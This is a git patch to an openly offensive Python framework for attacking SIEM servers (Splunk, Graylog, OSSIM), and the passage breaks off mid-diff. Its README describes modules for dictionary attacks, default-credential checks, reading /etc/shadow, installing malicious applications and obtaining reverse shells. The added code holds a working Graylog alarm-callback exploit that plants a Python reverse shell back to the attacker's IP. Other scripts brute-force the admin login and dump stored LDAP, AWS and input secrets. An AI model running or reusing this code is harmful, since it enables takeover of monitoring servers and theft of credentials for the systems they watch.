From 4cbbc859e854e395504fb234b7cdbf6a3f826907 Mon Sep 17 00:00:00 2001 From: Jose Torres Date: Tue, 10 Sep 2019 09:29:36 +0200 Subject: [PATCH] new features --- README.md | 206 +++++++-------- poc/graylog/alarmcallback.py | 95 +++++++ poc/graylog/bruteforcegraylog.py | 71 ++--- poc/graylog/obtaincredentialsrestapi.py | 90 ++++--- poc/graylog/obtaininputsrestapi.py | 63 +++++ poc/graylog/obtainmongodbcredentials.py | 104 +++++--- poc/graylog/testcredentialsgraylog.py | 39 +-- poc/ossim/bruteforceossim.py | 73 +++--- poc/ossim/maliciousaction.py | 168 ++++++------ poc/ossim/obtainconfigossim.py | 134 +++++----- poc/requirements.txt | 1 + poc/scanning.py | 92 +++---- poc/siemsframework.py | 313 +++++++++++++---------- poc/splunk/bruteforcesplunk.py | 147 ++++++----- poc/splunk/installshell.py | 225 ++++++++-------- poc/splunk/obtainpwds.py | 56 ++-- poc/splunk/obtainsplunkinfo.py | 92 +++---- poc/splunk/obtainsysteminfo.py | 66 ++--- poc/splunk/readfile.py | 88 +++---- poc/splunk/reverse_shell_original.py | 4 +- poc/splunk/reverse_shell_win_original.py | 2 +- poc/splunk/testovacredentials.py | 54 ++++ 22 files changed, 1265 insertions(+), 918 deletions(-) mode change 100644 => 100755 README.md create mode 100755 poc/graylog/alarmcallback.py create mode 100755 poc/graylog/obtaininputsrestapi.py create mode 100755 poc/splunk/testovacredentials.py diff --git a/README.md b/README.md old mode 100644 new mode 100755 index 5eda1e6..7b33e82 --- a/README.md +++ b/README.md @@ -1,104 +1,104 @@ -# SIEMS FRAMEWORK - -MultiSIEM Modular Python3 Attack Framework -By ElevenPaths https://www.elevenpaths.com/ -Usage: python3 ./siemsframework.py - -## INTRODUCTION - -SIEMs are defensive tools increasingly used in the field of cybersecurity, especially by major companies and companies intended to monitor highly critical systems and networks. However, from the point of view of an attacker, those permissions granted to SIEMs on systems and accounts from corporate networks are high. Moreover, administrative access to SIEMs may be used to obtain code execution on the server where such SIEM is installed, and sometimes also on client machines, considering that a SIEM collects events such as Active Directory servers, AWS servers, Data Bases and network devices (for example, Firewalls and Routers). - -During our investigation, we detected a great amount of attack vectors that might be used on the various SIEMs to compromise them, for instance: -• Obtain user accounts and passwords stored in the SIEM from critical systems (LDAP/AD servers, databases, network devices, AWS servers). -• Develop and install malicious applications such as Windows/Linux reverse shells, Windows/Linux bind shells or malicious scripts with the aim of compromising the server where the SIEM is installed. -• Develop and install malicious applications such as Windows/Linux reverse shells, Windows/Linux bind shells or malicious scripts with the aim of compromising the machines from which the SIEM collects events. -• Create and apply malicious actions or notifications that allow to execute commands when a given event occurs, for example with the purpose of obtaining a reverse shell on the server where the SIEM is installed. -• Take advantage of default passwords and SIEM weaknesses in the OVA images configuration to obtain admin credentials of the server, database or even the SIEM web interface itself. -• Perform dictionary attacks or brute-force attacks against the web or admin interface, or against the SIEM client software, to obtain admin credentials. -• Read arbitrary files from the server where the SIEM is installed. -• Obtain SIEM configuration information and other relevant parameters to perform further attacks. -On the basis of the investigation results, the tool Open Source SIEMs Framework was developed. It is a modular tool developed in Python3 by the Innovation and Laboratory team of ElevenPaths. It allows to automatize potential attacks to various SIEMs existing in the market (both commercial and open source). - -SIEMs Framework supports multiple attack payloads that may be selected according the SIEM to be attacked and its operating system. There are payloads available in PowerShell, Python, Bash, Exe, and more formats. Once the selected attack is executed, the tool shows the results on the screen and it is possible to return and execute any other attack on the same SIEM or select other SIEM to compromise. It has a simple, easy-to-use and intuitive interface. Currently it can be used with the following SIEMs: Splunk, Graylog and OSSIM. - -## DOWNLOADING, REQUIREMENTS AND INSTALLATION - -SIEMs Framework can be downloaded from our Github by downloading the .zip file or cloning the repository, and presents the following requirements that can be installed through pip3 install -r requirements.txt: - -• splunk-sdk -• requests -• python-nmap -• colorama -• pandas -• paramiko -• pymongo - -Once the requirements installed, the tool can be used as follows: python3 ./siemsframework.py - -## TOOL USAGE - -When the tool is executed, the main menu is displayed, and there you must select if you wish to scan a specific IP where there would be a SIEM or a network to detect those SIEMs within it. For scanning and detecting the SIEM within a specific IP address you must use option 1, and for scanning the network option 2. -### Scanning a specific IP -By selecting option 1 “Scan and Detect SIEM”, the tool requests the IP address to be able to scan the specific ports of the SIEMs supported and connect to either web or management interface in order to verify that it is really a SIEM. - -Once the SIEM has been detected by following the above methods, the tool shows the SIEM detected in red and gives you the option to launch the attack module of that SIEM. -### Network Scanning -By selecting option 2 “Find SIEMs on the network” the tool requests the network to be scanned in CIDR notation, for instance: 192.168.137.0/24. Once the information is entered, SIEMs Framework performs firstly a discovery to detect the active systems; then, default ports of the SIEMs supported are scanned, and finally it connects to either web or management interface of each of those systems in order to verify that it is really a SIEM. - -Once the SIEMs have been detected by following the above methods, the tool shows the SIEMs detected in red and requests the IP address of the SIEM to be attacked. - -### Splunk Attack Modules -#### 1st Attack: Dictionary Attack on Splunk Admin Interface -This attack module contains a specific dictionary for Splunk named dict.txt, which is made up of the 100 most used password over 2018 and various permutations of the SIEM trade name and its admin user, in uppercase and lowercase letters, and replacing vowels with numbers. In case you wish to use any other list different from the one mentioned above, /splunk/dict.txt can be replaced with any other word list, provided that the file name is kept. Splunk password policy does not apply to users with admin role, so restrictions concerning password or account blocking due to unsuccessful access attempts do not apply. -Prior to starting the dictionary attack, the tool verifies if the Splunk to be analyzed has the Free version that does not use any type of authentication, or if it still keeps the default password “changeme” of the oldest versions of this software: - -#### 2nd Attack: Obtain Server and Session Information via Web Interface -In case the Splunk server to be analyzed has the web interface active, this module allows to obtain server and session information from the web interface itself without needing to authenticate. 8000 is the default port of Splunk web interface; to use this module it is necessary to know and enter the port where the web interface is published. - -#### 3rd Attack: Obtain System Information via Management Port -This module can be used on Splunk Server or Universal Forwarder. To use it, Splunk Admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The result of the module is the information of the current Splunk installation: version, operating system, Splunk configurations and more. - -#### 4th Attack: Obtain Splunk Stored Passwords -This module is only used on Splunk servers. To use it, Splunk admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The result of the module are all the credentials stored by those apps used on Splunk to connect to those devices from which events are obtained. - -#### 5th Attack: Read /etc/shadow file from Splunk server (Linux only) -This module can be used on Linux Splunk Server. To use it, Splunk admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The module uses an index to load the file concerned, and its result is the content of the file /etc/shadow from the server where Splunk is installed. - -#### 6th Attack: Deployment of Malicious Applications to UF -This module will be available in the next version of SIEMs Framework. In order to compromise Universal Forwarders, attack 1 to obtain credentials and then attack 7 to install malicious applications depending on the platform may be performed so far. -#### 7th Attack: Install Malicious Application to Compromise Splunk/UF Server -This attack module allows to develop and install on Splunk a malicious application designed to compromise the system concerned. Firstly, the type of payload to be used according to the operating system and the type of Splunk to attack must be selected (Splunk Server or Universal Forwarder). You can use Linux Python Reverse or Bind Shell for Splunk Server or UF; Windows Python Reverse or Bind Shell for Splunk Server (where Python is installed by default); and Executable Bind Shell or a script to add an admin user on Windows Universal Forwarders (where Python is not installed by default). Then, username, Splunk admin password and the attacker’s IP address must be entered. - - -### Graylog Attack Modules - -By entering “y” and selecting the launch of Graylog attack modules, the tool shows all the possible attacks to be performed against this SIEM. For the first three attacks no credentials are required, but for the fourth one Graylog admin privileges are needed. - -#### 1st Attack: Dictionary Attack on Graylog Web Interface -This attack module contains a specific dictionary for Graylog named dict.txt, which is made up of the 100 most used password over 2018 and various permutations of the SIEM trade name and its admin user, in uppercase and lowercase letters, and replacing vowels with numbers. In case you wish to use any other list different from the one mentioned above, /graylog/dict.txt can be replaced with any other word list, provided that the file name is kept. - -#### 2nd Attack: Test for Graylog AMI/OVA Default Credentials -This attack module verifies if the Graylog to be analyzed has default credentials on Graylog web interface (admin/admin), as well as if it has default credentials to connect to the system by console or SSH (ubuntu/ubuntu). These couple of credentials are configured by default on Graylog virtual machine appliances, both on OVA and AMI. - -#### 3rd Attack: Test connection to MongoDB and Obtain Credentials for LDAP and AWS -This attack module verifies if the Graylog to be analyzed has Mongo DB database configured with no authentication. In such a case, it connects to MongoDB and obtains configuration information, LDAP credentials (depending on the current Graylog version they may be in plain text or encrypted) and access and secret keys configured in the AWS plugin. In case it is encrypted, LDAP user key is encrypted with AES CBC. They key is the first 16 bits of the field password_secret, located in the configuration file server.conf, or graylog.conf in case of standard installations; or the field secret_token located in the file graylog-secrets.json in case of OVA installations, the IV is the salt showed on the screen. - -#### 4th Attack: Obtain Credentials for LDAP and AWS from REST API -This attack module obtains information on configuration and credentials for LDAP and AWS in plain text from Graylog REST API. To use this module Graylog admin credentials are needed. - - -### Ossim Attack Modules -By entering “y” and selecting the launch of OSSIM attack modules, the tool shows all the possible attacks to be performed against this SIEM. For the first attack no credentials are required, but for the subsequent ones OSSIM admin credentials are needed. - -#### 1st Attack: Dictionary Attack on OSSIM Web Interface -This attack module contains a specific dictionary for OSSIM named dict.txt, which is made up of the 100 most used password over 2018 and various permutations of the SIEM trade name and its admin user, in uppercase and lowercase letters, and replacing vowels with numbers. In case you wish to use any other list different from the one mentioned above, /ossim/dict.txt can be replaced with any other word list, provided that the file name is kept. - -#### 2nd Attack: Obtain OSSIM Configuration Information -This attack module allows to obtain configuration information from OSSIM server. To use it, OSSIM admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The result of the module is the relevant configuration information of the current installation: defined users, login parameters including LDAP configurations and password policies. - -#### 3rd Attack: Configure Malicious Policy and Action to Obtain Reserve Shell on OSSIM -This attack module allows to obtain a reverse shell from OSSIM server to the attacker’s system. To use it, OSSIM admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The module develops a malicious action that will be connected via netcat to the attacker’s system. Then, it triggers a new policy that uses such action to warn in case any security event occurs, and this event is triggered through an unsuccessful SSH login attempt to OSSIM server. Consequently, a reverse shell is obtained from the OSSIM server to the attacker’s system in port 12345 with root privileges. - -## CONTRIBUTING AND SUPPORT - +# SIEMS FRAMEWORK + +MultiSIEM Modular Python3 Attack Framework +By ElevenPaths https://www.elevenpaths.com/ +Usage: python3 ./siemsframework.py + +## INTRODUCTION + +SIEMs are defensive tools increasingly used in the field of cybersecurity, especially by major companies and companies intended to monitor highly critical systems and networks. However, from the point of view of an attacker, those permissions granted to SIEMs on systems and accounts from corporate networks are high. Moreover, administrative access to SIEMs may be used to obtain code execution on the server where such SIEM is installed, and sometimes also on client machines, considering that a SIEM collects events such as Active Directory servers, AWS servers, Data Bases and network devices (for example, Firewalls and Routers). + +During our investigation, we detected a great amount of attack vectors that might be used on the various SIEMs to compromise them, for instance: +• Obtain user accounts and passwords stored in the SIEM from critical systems (LDAP/AD servers, databases, network devices, AWS servers). +• Develop and install malicious applications such as Windows/Linux reverse shells, Windows/Linux bind shells or malicious scripts with the aim of compromising the server where the SIEM is installed. +• Develop and install malicious applications such as Windows/Linux reverse shells, Windows/Linux bind shells or malicious scripts with the aim of compromising the machines from which the SIEM collects events. +• Create and apply malicious actions or notifications that allow to execute commands when a given event occurs, for example with the purpose of obtaining a reverse shell on the server where the SIEM is installed. +• Take advantage of default passwords and SIEM weaknesses in the OVA images configuration to obtain admin credentials of the server, database or even the SIEM web interface itself. +• Perform dictionary attacks or brute-force attacks against the web or admin interface, or against the SIEM client software, to obtain admin credentials. +• Read arbitrary files from the server where the SIEM is installed. +• Obtain SIEM configuration information and other relevant parameters to perform further attacks. +On the basis of the investigation results, the tool Open Source SIEMs Framework was developed. It is a modular tool developed in Python3 by the Innovation and Laboratory team of ElevenPaths. It allows to automatize potential attacks to various SIEMs existing in the market (both commercial and open source). + +SIEMs Framework supports multiple attack payloads that may be selected according the SIEM to be attacked and its operating system. There are payloads available in PowerShell, Python, Bash, Exe, and more formats. Once the selected attack is executed, the tool shows the results on the screen and it is possible to return and execute any other attack on the same SIEM or select other SIEM to compromise. It has a simple, easy-to-use and intuitive interface. Currently it can be used with the following SIEMs: Splunk, Graylog and OSSIM. + +## DOWNLOADING, REQUIREMENTS AND INSTALLATION + +SIEMs Framework can be downloaded from our Github by downloading the .zip file or cloning the repository, and presents the following requirements that can be installed through pip3 install -r requirements.txt: + +• splunk-sdk +• requests +• python-nmap +• colorama +• pandas +• paramiko +• pymongo + +Once the requirements installed, the tool can be used as follows: python3 ./siemsframework.py + +## TOOL USAGE + +When the tool is executed, the main menu is displayed, and there you must select if you wish to scan a specific IP where there would be a SIEM or a network to detect those SIEMs within it. For scanning and detecting the SIEM within a specific IP address you must use option 1, and for scanning the network option 2. +### Scanning a specific IP +By selecting option 1 “Scan and Detect SIEM”, the tool requests the IP address to be able to scan the specific ports of the SIEMs supported and connect to either web or management interface in order to verify that it is really a SIEM. + +Once the SIEM has been detected by following the above methods, the tool shows the SIEM detected in red and gives you the option to launch the attack module of that SIEM. +### Network Scanning +By selecting option 2 “Find SIEMs on the network” the tool requests the network to be scanned in CIDR notation, for instance: 192.168.137.0/24. Once the information is entered, SIEMs Framework performs firstly a discovery to detect the active systems; then, default ports of the SIEMs supported are scanned, and finally it connects to either web or management interface of each of those systems in order to verify that it is really a SIEM. + +Once the SIEMs have been detected by following the above methods, the tool shows the SIEMs detected in red and requests the IP address of the SIEM to be attacked. + +### Splunk Attack Modules +#### 1st Attack: Dictionary Attack on Splunk Admin Interface +This attack module contains a specific dictionary for Splunk named dict.txt, which is made up of the 100 most used password over 2018 and various permutations of the SIEM trade name and its admin user, in uppercase and lowercase letters, and replacing vowels with numbers. In case you wish to use any other list different from the one mentioned above, /splunk/dict.txt can be replaced with any other word list, provided that the file name is kept. Splunk password policy does not apply to users with admin role, so restrictions concerning password or account blocking due to unsuccessful access attempts do not apply. +Prior to starting the dictionary attack, the tool verifies if the Splunk to be analyzed has the Free version that does not use any type of authentication, or if it still keeps the default password “changeme” of the oldest versions of this software: + +#### 2nd Attack: Obtain Server and Session Information via Web Interface +In case the Splunk server to be analyzed has the web interface active, this module allows to obtain server and session information from the web interface itself without needing to authenticate. 8000 is the default port of Splunk web interface; to use this module it is necessary to know and enter the port where the web interface is published. + +#### 3rd Attack: Obtain System Information via Management Port +This module can be used on Splunk Server or Universal Forwarder. To use it, Splunk Admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The result of the module is the information of the current Splunk installation: version, operating system, Splunk configurations and more. + +#### 4th Attack: Obtain Splunk Stored Passwords +This module is only used on Splunk servers. To use it, Splunk admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The result of the module are all the credentials stored by those apps used on Splunk to connect to those devices from which events are obtained. + +#### 5th Attack: Read /etc/shadow file from Splunk server (Linux only) +This module can be used on Linux Splunk Server. To use it, Splunk admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The module uses an index to load the file concerned, and its result is the content of the file /etc/shadow from the server where Splunk is installed. + +#### 6th Attack: Deployment of Malicious Applications to UF +This module will be available in the next version of SIEMs Framework. In order to compromise Universal Forwarders, attack 1 to obtain credentials and then attack 7 to install malicious applications depending on the platform may be performed so far. +#### 7th Attack: Install Malicious Application to Compromise Splunk/UF Server +This attack module allows to develop and install on Splunk a malicious application designed to compromise the system concerned. Firstly, the type of payload to be used according to the operating system and the type of Splunk to attack must be selected (Splunk Server or Universal Forwarder). You can use Linux Python Reverse or Bind Shell for Splunk Server or UF; Windows Python Reverse or Bind Shell for Splunk Server (where Python is installed by default); and Executable Bind Shell or a script to add an admin user on Windows Universal Forwarders (where Python is not installed by default). Then, username, Splunk admin password and the attacker’s IP address must be entered. + + +### Graylog Attack Modules + +By entering “y” and selecting the launch of Graylog attack modules, the tool shows all the possible attacks to be performed against this SIEM. For the first three attacks no credentials are required, but for the fourth one Graylog admin privileges are needed. + +#### 1st Attack: Dictionary Attack on Graylog Web Interface +This attack module contains a specific dictionary for Graylog named dict.txt, which is made up of the 100 most used password over 2018 and various permutations of the SIEM trade name and its admin user, in uppercase and lowercase letters, and replacing vowels with numbers. In case you wish to use any other list different from the one mentioned above, /graylog/dict.txt can be replaced with any other word list, provided that the file name is kept. + +#### 2nd Attack: Test for Graylog AMI/OVA Default Credentials +This attack module verifies if the Graylog to be analyzed has default credentials on Graylog web interface (admin/admin), as well as if it has default credentials to connect to the system by console or SSH (ubuntu/ubuntu). These couple of credentials are configured by default on Graylog virtual machine appliances, both on OVA and AMI. + +#### 3rd Attack: Test connection to MongoDB and Obtain Credentials for LDAP and AWS +This attack module verifies if the Graylog to be analyzed has Mongo DB database configured with no authentication. In such a case, it connects to MongoDB and obtains configuration information, LDAP credentials (depending on the current Graylog version they may be in plain text or encrypted) and access and secret keys configured in the AWS plugin. In case it is encrypted, LDAP user key is encrypted with AES CBC. They key is the first 16 bits of the field password_secret, located in the configuration file server.conf, or graylog.conf in case of standard installations; or the field secret_token located in the file graylog-secrets.json in case of OVA installations, the IV is the salt showed on the screen. + +#### 4th Attack: Obtain Credentials for LDAP and AWS from REST API +This attack module obtains information on configuration and credentials for LDAP and AWS in plain text from Graylog REST API. To use this module Graylog admin credentials are needed. + + +### Ossim Attack Modules +By entering “y” and selecting the launch of OSSIM attack modules, the tool shows all the possible attacks to be performed against this SIEM. For the first attack no credentials are required, but for the subsequent ones OSSIM admin credentials are needed. + +#### 1st Attack: Dictionary Attack on OSSIM Web Interface +This attack module contains a specific dictionary for OSSIM named dict.txt, which is made up of the 100 most used password over 2018 and various permutations of the SIEM trade name and its admin user, in uppercase and lowercase letters, and replacing vowels with numbers. In case you wish to use any other list different from the one mentioned above, /ossim/dict.txt can be replaced with any other word list, provided that the file name is kept. + +#### 2nd Attack: Obtain OSSIM Configuration Information +This attack module allows to obtain configuration information from OSSIM server. To use it, OSSIM admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The result of the module is the relevant configuration information of the current installation: defined users, login parameters including LDAP configurations and password policies. + +#### 3rd Attack: Configure Malicious Policy and Action to Obtain Reserve Shell on OSSIM +This attack module allows to obtain a reverse shell from OSSIM server to the attacker’s system. To use it, OSSIM admin credentials are needed, and they can be obtained for instance through a dictionary attack (1st attack). The module develops a malicious action that will be connected via netcat to the attacker’s system. Then, it triggers a new policy that uses such action to warn in case any security event occurs, and this event is triggered through an unsuccessful SSH login attempt to OSSIM server. Consequently, a reverse shell is obtained from the OSSIM server to the attacker’s system in port 12345 with root privileges. + +## CONTRIBUTING AND SUPPORT + Please report any error by opening an issue in GitHub. Your collaboration is very appreciated! \ No newline at end of file diff --git a/poc/graylog/alarmcallback.py b/poc/graylog/alarmcallback.py new file mode 100755 index 0000000..97bdb88 --- /dev/null +++ b/poc/graylog/alarmcallback.py @@ -0,0 +1,95 @@ +#!/usr/bin/env python3 + +# Graylog Create Alarm Callback to Obtain Reverse Shell + +# %%%%%%%%%%% Libraries %%%%%%%%%%%# + +import colorama +import getpass +import logging +import requests +import urllib3 +from colorama import Fore, Style + +colorama.init() +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +# %%%%%%%%%%% Constants %%%%%%%%%%%# + +SEPARATOR = "[*] {0} [*]".format('=' * 110) + +# %%%%%%%%%% Functions %%%%%%%%%# + +def alarm_callback(graylogip): + + graylogpass = getpass.getpass( + Fore.CYAN + Style.BRIGHT + "[!] Enter Graylog Admin Password: " + Style.RESET_ALL) + + localIP = input("[!] Enter your local IP address: ") + alertid = "000000000000000000000000" + authurl = "http://" + graylogip + ":9000/api/system/sessions" + typesurl = "http://" + graylogip + ":9000/api/alerts/callbacks/types" + alarmsurl = "http://" + graylogip + ":9000/api/streams/000000000000000000000001/alarmcallbacks" + + bashcommand = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET," \ + "socket.SOCK_STREAM);s.connect((\"" + localIP + "\",12345));os.dup2(s.fileno()," \ + "0); os.dup2(s.fileno()," \ + "1); os.dup2(s.fileno()," \ + "2);import pty; pty.spawn(" \ + "\"/bin/bash\")'" + + params = { + "title": "testgraylog", "type": "ir.elenoon.ExeCommandAlarmCallBack", + "configuration": {"bashCommand": bashcommand} + } + headers = {'X-Requested-By': 'XMLHttpRequest'} + authparams = {'username': 'admin', 'password': graylogpass, 'host': graylogip} + + print(SEPARATOR) + print("[!] Start a listener in port 12345, for example nc -lvp 12345") + + try: + s = requests.Session() + s.headers.update(headers) + s.auth = ('admin', graylogpass) + s.post(authurl, json = authparams, verify = False) + + response = s.get(typesurl, verify = False) + + if (response.status_code == 200 and "ir.elenoon.ExeCommandAlarmCallBack" in + response.text): # text of graylog2 plugin exec + print(SEPARATOR) + print("[!] Alarm Callback Exec Plugin Found") + postresponse = s.post(alarmsurl, json = params, verify = False) + + if postresponse.status_code == 201: # created status code + print("[!] Alarm Callback Succesfully Created") + data = postresponse.json() + alertid = str(data['alarmcallback_id']) + + if (alertid != "000000000000000000000000"): + print("[!] Alarm Callback ID: " + alertid) + testurl = "http://" + graylogip + ":9000/api/alerts/callbacks/" + alertid + \ + "/test" + testresponse = s.post(testurl, verify = False) + + if testresponse.status_code == 200: + print( + "[!] Test Action Started: " + Fore.RED + Style.BRIGHT + "Reverse Shell Ready") + print(Style.RESET_ALL + SEPARATOR) + else: + print("[!] Error in Action Test") + else: + print("[!] Error in Alarm Callback ID") + + else: + print("[!] Error in Alarm Callback Creation") + + else: + print(SEPARATOR) + print("[!] Alarm Callback Exec Plugin Not Found") + + except Exception as e: + logging.error(e, exc_info = True) + +# %%%%%%%%%% The End %%%%%%%%%%# diff --git a/poc/graylog/bruteforcegraylog.py b/poc/graylog/bruteforcegraylog.py index 9b1a866..04f17ac 100755 --- a/poc/graylog/bruteforcegraylog.py +++ b/poc/graylog/bruteforcegraylog.py @@ -2,52 +2,57 @@ # Graylog Login Bruteforce -#%%%%%%%%%%% Libraries %%%%%%%%%%%# +# %%%%%%%%%%% Libraries %%%%%%%%%%%# +import colorama import json +import logging +import os import requests import sys -import os -import colorama from colorama import Fore, Style -#%%%%%%%%%%% Constants %%%%%%%%%%%# +# %%%%%%%%%%% Constants %%%%%%%%%%%# + +SEPARATOR = "[*] {0} [*]".format('=' * 110) + +# %%%%%%%%%% Functions %%%%%%%%%# + +def graylog_brute(graylogip): -separator = "[*] ============================================================================================================== [*]" + url = "http://" + graylogip + ":9000/api/system/sessions" + __location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) + file = open(os.path.join(__location__, 'dict.txt')) + bruteforcesuccesfull = 0 -#%%%%%%%%%% Functions %%%%%%%%%# + for line in file: -def graylogbrute(graylogip): + graylogpassword = line.strip('\n\r') + params = {'username': 'admin', 'password': graylogpassword, 'host': graylogip} + headers = {'X-Requested-By': 'XMLHttpRequest'} - url = "http://"+graylogip+":9000/api/system/sessions" - __location__ = os.path.realpath(os.path.join(os.getcwd(), os.path.dirname(__file__))) - file = open(os.path.join(__location__, 'dict.txt')) - bruteforcesuccesfull = 0 + try: + response = requests.post(url, json = params, headers = headers, verify = False) - for line in file: - graylogpassword = line.strip('\n\r') - params = {'username':'admin','password':graylogpassword,'host':graylogip} - headers = {'X-Requested-By': 'XMLHttpRequest'} + if response.status_code == 200: - try: - response = requests.post(url,json=params,headers=headers,verify=False) + print(SEPARATOR) + print("[!] Dictionary Attack Successful!") + print(SEPARATOR) + print("[!] Username: " + Fore.RED + Style.BRIGHT + "admin") + print( + Style.RESET_ALL + "[!] Password: " + Fore.RED + Style.BRIGHT + graylogpassword) + print(Style.RESET_ALL + SEPARATOR) + bruteforcesuccesfull = 1 + break - if response.status_code == 200: - print(separator) - print("[!] Dictionary Attack Successful!") - print(separator) - print("[!] Username: "+Fore.RED+Style.BRIGHT+"admin") - print(Style.RESET_ALL + "[!] Password: "+Fore.RED+Style.BRIGHT+graylogpassword) - print(Style.RESET_ALL + separator) - bruteforcesuccesfull = 1 - break + except Exception as e: + logging.error(e, exc_info = True) - except Exception as e: - pass + if not bruteforcesuccesfull: - if not bruteforcesuccesfull: - print(separator) - print("[!] Dictionary Attack Not Successful") - print(separator) + print(SEPARATOR) + print("[!] Dictionary Attack Not Successful") + print(SEPARATOR) -#%%%%%%%%%% The End %%%%%%%%%%# +# %%%%%%%%%% The End %%%%%%%%%%# diff --git a/poc/graylog/obtaincredentialsrestapi.py b/poc/graylog/obtaincredentialsrestapi.py index d0516d7..630c1b4 100755 --- a/poc/graylog/obtaincredentialsrestapi.py +++ b/poc/graylog/obtaincredentialsrestapi.py @@ -2,60 +2,72 @@ # Graylog Obtain Stored Credentials via REST API -#%%%%%%%%%%% Libraries %%%%%%%%%%%# +# %%%%%%%%%%% Libraries %%%%%%%%%%%# +import colorama +import getpass +import logging import requests +import urllib3 +from colorama import Fore, Style from requests.auth import HTTPBasicAuth -import colorama + colorama.init() -from colorama import Fore, Style -import urllib3 -import getpass urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) -#%%%%%%%%%%% Constants %%%%%%%%%%%# +# %%%%%%%%%%% Constants %%%%%%%%%%%# + +SEPARATOR = "[*] {0} [*]".format('=' * 110) + +# %%%%%%%%%% Functions %%%%%%%%%# + +def obtain_ldap_credentials(graylogip): -separator = "[*] ============================================================================================================== [*]" + ldapurl = "http://" + graylogip + ":9000/api/system/ldap/settings?pretty=true" + awspluginurl = "http://" + graylogip + \ + ":9000/api/system/cluster_config/org.graylog.aws.config.AWSPluginConfiguration" \ + "?pretty=true" + headers = {'Accept': 'application/json'} + graylogpass = getpass.getpass( + Fore.CYAN + Style.BRIGHT + "[!] Enter Graylog Admin Password: " + Style.RESET_ALL) -#%%%%%%%%%% Functions %%%%%%%%%# + try: + response = requests.get(ldapurl, auth = HTTPBasicAuth('admin', graylogpass)) -def obtainldapcredentials(graylogip): + if response.status_code == 200 and "DOCTYPE html" not in response.text: - ldapurl = "http://"+graylogip+":9000/api/system/ldap/settings?pretty=true" - awspluginurl = "http://"+graylogip+":9000/api/system/cluster_config/org.graylog.aws.config.AWSPluginConfiguration?pretty=true" - graylogpass = getpass.getpass(Fore.CYAN + Style.BRIGHT + "[!] Enter Graylog Admin Password: " + Style.RESET_ALL) + print(SEPARATOR) + print( + Fore.RED + Style.BRIGHT + "[!] Graylog LDAP Settings and Credentials" + + Style.RESET_ALL) + print(SEPARATOR + response.text.strip('{}').replace('\n', '\n[!]')) + else: - try: - response = requests.get(ldapurl, auth=HTTPBasicAuth('admin',graylogpass)) + print(SEPARATOR) + print("[!] Error obtaining Graylog LDAP Settings and Credentials") - if (response.status_code == 200 and "DOCTYPE html" not in response.text): - print(separator) - print(Fore.RED + Style.BRIGHT + "[!] Graylog LDAP Settings and Credentials" + Style.RESET_ALL) - print(separator + response.text.strip('{}').replace('\n','\n[!]')) - else: - print(separator) - print("[!] Error obtaining Graylog LDAP Settings and Credentials") + except Exception as e: + logging.error(e, exc_info = True) - except Exception as e: - print(e) - pass + try: + response = requests.get(awspluginurl, auth = HTTPBasicAuth('admin', graylogpass), + headers = headers) - try: - response = requests.get(awspluginurl, auth=HTTPBasicAuth('admin',graylogpass)) + if response.status_code == 200 and "DOCTYPE html" not in response.text: - if (response.status_code == 200 and "DOCTYPE html" not in response.text): - print(separator) - print(Fore.RED + Style.BRIGHT + "[!] Graylog AWS Settings and Credentials" + Style.RESET_ALL) - print(separator + response.text.strip('{}').replace('\n','\n[!]')) - print(separator) - else: - print(separator) - print("[!] Error obtaining Graylog AWS Settings and Credentials") - print(separator) + print(SEPARATOR) + print( + Fore.RED + Style.BRIGHT + "[!] Graylog AWS Settings and Credentials" + + Style.RESET_ALL) + print(SEPARATOR + response.text.strip('{}').replace('\n', '\n[!]')) + print(SEPARATOR) + else: - except Exception as e: - print(e) - pass + print(SEPARATOR) + print("[!] Error obtaining Graylog AWS Settings and Credentials") + print(SEPARATOR) -#%%%%%%%%%% The End %%%%%%%%%%# + except Exception as e: + logging.error(e, exc_info = True) +# %%%%%%%%%% The End %%%%%%%%%%# diff --git a/poc/graylog/obtaininputsrestapi.py b/poc/graylog/obtaininputsrestapi.py new file mode 100755 index 0000000..0d27314 --- /dev/null +++ b/poc/graylog/obtaininputsrestapi.py @@ -0,0 +1,63 @@ +#!/usr/bin/env python3 + +# Graylog Obtain Credentials from Inputs + +# %%%%%%%%%%% Libraries %%%%%%%%%%%# + +import colorama +import getpass +import json +import logging +import requests +import urllib3 +from requests.auth import HTTPBasicAuth +from colorama import Fore, Style + +colorama.init() +urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) + +# %%%%%%%%%%% Constants %%%%%%%%%%%# + +SEPARATOR = "[*] {0} [*]".format('=' * 110) + +# %%%%%%%%%% Functions %%%%%%%%%# + +def obtain_inputs(graylogip): + + inputsurl = "http://" + graylogip + ":9000/api/system/inputs?pretty=true" + graylogpass = getpass.getpass( + Fore.CYAN + Style.BRIGHT + "[!] Enter Graylog Admin Password: " + Style.RESET_ALL) + + try: + response = requests.get(inputsurl, auth = HTTPBasicAuth('admin', graylogpass)) + + if response.status_code == 200 and "DOCTYPE html" not in response.text: + + print(SEPARATOR) + print("[!] Graylog Inputs with Secret Keys or Passwords") + data = response.json() + inputs = data['inputs'] + + for x in inputs: + attributes = x['attributes'] + + if 'password' in str(attributes) or 'secret' in str(attributes): + print(SEPARATOR) + print("[!] " + str(x['title'])) + print(SEPARATOR) + for y in attributes: + if 'password' in str(y) or 'secret' in str(y): + print(Fore.RED + Style.BRIGHT + "[!] " + str(y) + ": " + str( + attributes[y]) + Style.RESET_ALL) + else: + print("[!] " + str(y) + ": " + str(attributes[y])) + print(SEPARATOR) + + else: + print(SEPARATOR) + print("[!] Error obtaining Graylog Inputs") + + except Exception as e: + logging.error(e, exc_info = True) + +# %%%%%%%%%% The End %%%%%%%%%%# diff --git a/poc/graylog/obtainmongodbcredentials.py b/poc/graylog/obtainmongodbcredentials.py index 012050e..879fd75 100755 --- a/poc/graylog/obtainmongodbcredentials.py +++ 